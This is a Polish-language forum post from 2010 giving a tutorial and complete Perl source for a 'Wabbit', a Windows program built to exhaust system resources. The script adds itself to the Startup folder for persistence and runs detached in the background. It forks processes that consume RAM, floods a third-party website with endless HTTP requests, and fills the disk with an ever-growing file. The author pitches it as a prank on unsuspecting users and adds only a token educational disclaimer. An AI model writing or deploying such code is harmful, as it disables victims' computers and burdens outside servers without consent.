nforce17
Administrator
Dołączył: 05 Lis 2006
Posty: 388
Przeczytał: 0 tematów
Pomógł: 4 razy Ostrzeżeń: 0/5
|
Wysłany: Sob 14:08, 21 Sie 2010 Temat postu: Wabbit [Zlosliwe Oprogramowanie] |
|
|
Moze zacznijmy od tego co to jest Wabbit.
Otoz Wabbit to jeden z odmian "wirusow" polegajacy na wyczerpania jakis zasobow komputerowych.
Napisanie prostego Wabbita jest bardzo proste.
Takim Wabbitem mozemy umilic komus kto sie nie zna zycie.
No wiec z punktu widzenia duzo osob moze myslec ze napisanie przykladowego "wirusa" jest trudne otoz nie nie jest wcale az tak trudne.
Dobrze gdy juz troszke opisalem naszego Wabbita przejdzmy do konkretow:
Co bedzie robil nasz wabbit ? Otoz:
Zapychal dysk
Zjadal Ram
Zjadal Lacze
Dzialal W Tle
Przyjalem rowniez ze system windows zostal zainstalowany na dysku: C:
A o to kod i opis przykladowego prostego Wabbit'a:
Na poczatek dodajemy moduly:
Kod: | use Cwd;
use LWP::UserAgent;
use Win32;
use Win32::Process; |
Pierwszy modul: Do sprawdzania sciezki
Drugi: Do wykonywania polaczen
Kolejne dwa do ukrycia naszej aplikacji w tle
Kod: | $dir = cwd;
$nr = 0;
$auto_start = "C:/Documents and Settings/All Users/Menu Start/Programy/Autostart/";
@localize = split(/\//, $dir);
$dir2 = "". $localize[0] ."/Wabbit.pl";
chop($dir);
print $localize[0];
$dir .= "/koniec.exe"; |
$dir = sciezka do pliku ktory zapcha dysk
$auto_start = dodanie pliku do autostartu
@localize = Wyciecie nazwy dysku/folderu w ktorym bedzie plik ktory zapcha nasz dysk
Kod: | $perl_search = 'C:/perl/bin/perl.exe';
$wabitus = 'perl -w Wabbit.pl';
$katalog = 'C:/';
Win32::Process::Create($Win32::Process::Create::ProcessObj,
$perl_search,
$wabitus,
0,
DETACHED_PROCESS,
$katalog) or die print "dupa"; |
$perl_search = lokalizacja perla
$wabitus = nazwa skryptu
$katalog = katalog roboczy.
Komenda ktora wystepuje po zmiennych odpowiada za ukrycie naszego programu w tle.
Kod: | open (wabbit, "Wabbit.pl");
@wabit = <wabbit>;
close wabbit;
open (wabbit, ">". $auto_start ."Wabbit.pl");
print wabbit @wabit;
close wabbit; |
Dodanie programu do autostartu
Kod: | while ($nr != 10) {
$pid = fork();
if ($pid == 0) {
bierz_ram();
}
$nr++;
} |
Utwarza 10 procesow i kazdy wykonuje alias: bierz_ram
Kod: | $nr = 0;
while ($nr != 10) {
$pid = fork();
if ($pid == 0) {
zjedz_lacze();
}
$nr++;
} |
Utwarza kolejne 10 procesow i kazdy wykonuje alias: zjedz_lacze
Kod: | open (plk, "+>>". $dir ."");
print plk "end\n";
$pid = fork();
if ($pid == 0) {
baw_sie_plikiem();
}
while (1) {
print plk "a ja tu dodam tekst!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
} |
Kolejnie otwarcie naszego pliku (ktory zapcha dysk) do odczytu i zapisu
i petla while ktora caly czas dodaje jakis tekst do naszego pliku przez co plik staje sie w szybkim tempie co raz wiekszy.
Kod: | sub bierz_ram {
$zmienna = "zabierzemy Ci ram :-)";
while (1) {
$zmienna .= $zmienna;
print $zmienna, "\n";
}
} |
Alias bierz_ram
Powieksza w kolko wielkosc zmiennej $zmienna
Kod: | sub baw_sie_plikiem {
while (1) {
@co_tam_jest = <plk>;
print @co_tam_jest, "\n";
print plk @co_tam_jest;
}
} |
Alias baw_sie_plikiem
petla ktora nigdy sie nie konczy i przypisuje do tablicy wartosc pliku i wywala co w nim jest + dodaje wartosc do naszego pliku ktory zapcha dysk
Kod: | sub zjedz_lacze {
while (1) {
$lacze = LWP::UserAgent->new();
$lacze->agent("Wabbit");
$response = $lacze->get("http://www.onet.pl");
if ($response->is_success) {
if ($response->as_string) {
print plk "". $response->as_string ."\n";
}
}
} |
Alias zjedz_lacze
Sluzy do niekonczacego sie wykonywania polaczen z dana strona i zapisuje caly kod strony w pliku ktory ma zapchac dysk.
I to juz koniecz naszego Wabbita caly kod:
Kod: | # Wabbit
# Autor: nforce
# Wersja Pokazowa
use Cwd;
use LWP::UserAgent;
use Win32;
use Win32::Process;
$dir = cwd;
$nr = 0;
$auto_start = "C:/Documents and Settings/All Users/Menu Start/Programy/Autostart/";
@localize = split(/\//, $dir);
$dir2 = "". $localize[0] ."/Wabbit.pl";
chop($dir);
print $localize[0];
$dir .= "/koniec.exe";
$perl_search = 'C:/perl/bin/perl.exe';
$wabitus = 'perl -w Wabbit.pl';
$katalog = 'C:/';
Win32::Process::Create($Win32::Process::Create::ProcessObj,
$perl_search,
$wabitus,
0,
DETACHED_PROCESS,
$katalog) or die print "dupa";
open (wabbit, "Wabbit.pl");
@wabit = <wabbit>;
close wabbit;
open (wabbit, ">". $auto_start ."Wabbit.pl");
print wabbit @wabit;
close wabbit;
while ($nr != 10) {
$pid = fork();
if ($pid == 0) {
bierz_ram();
}
$nr++;
}
$nr = 0;
while ($nr != 10) {
$pid = fork();
if ($pid == 0) {
zjedz_lacze();
}
$nr++;
}
open (plk, "+>>". $dir ."");
print plk "end\n";
$pid = fork();
if ($pid == 0) {
baw_sie_plikiem();
}
while (1) {
print plk "a ja tu dodam tekst!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
}
sub bierz_ram {
$zmienna = "zabierzemy Ci ram :-)";
while (1) {
$zmienna .= $zmienna;
print $zmienna, "\n";
}
}
sub baw_sie_plikiem {
while (1) {
@co_tam_jest = <plk>;
print @co_tam_jest, "\n";
print plk @co_tam_jest;
}
}
sub zjedz_lacze {
while (1) {
$lacze = LWP::UserAgent->new();
$lacze->agent("Wabbit");
$response = $lacze->get("http://www.onet.pl");
if ($response->is_success) {
if ($response->as_string) {
print plk "". $response->as_string ."\n";
}
}
}
} |
Otoz jak widzimy napisanie prostego "wirusa" nie jest az tak trudne a zycie mozna umilic
Jesli sa jakies pytania/sugestie prosze pisac chetnie odpowiem.
Na koniec:
Post napisany zostal przeze mnie w celu edukacyjnym nie odpowiadam za wykorzystywanie go do celow wlasnych!
Post został pochwalony 0 razy
Ostatnio zmieniony przez nforce17 dnia Pon 23:15, 20 Lut 2012, w całości zmieniany 6 razy
|
|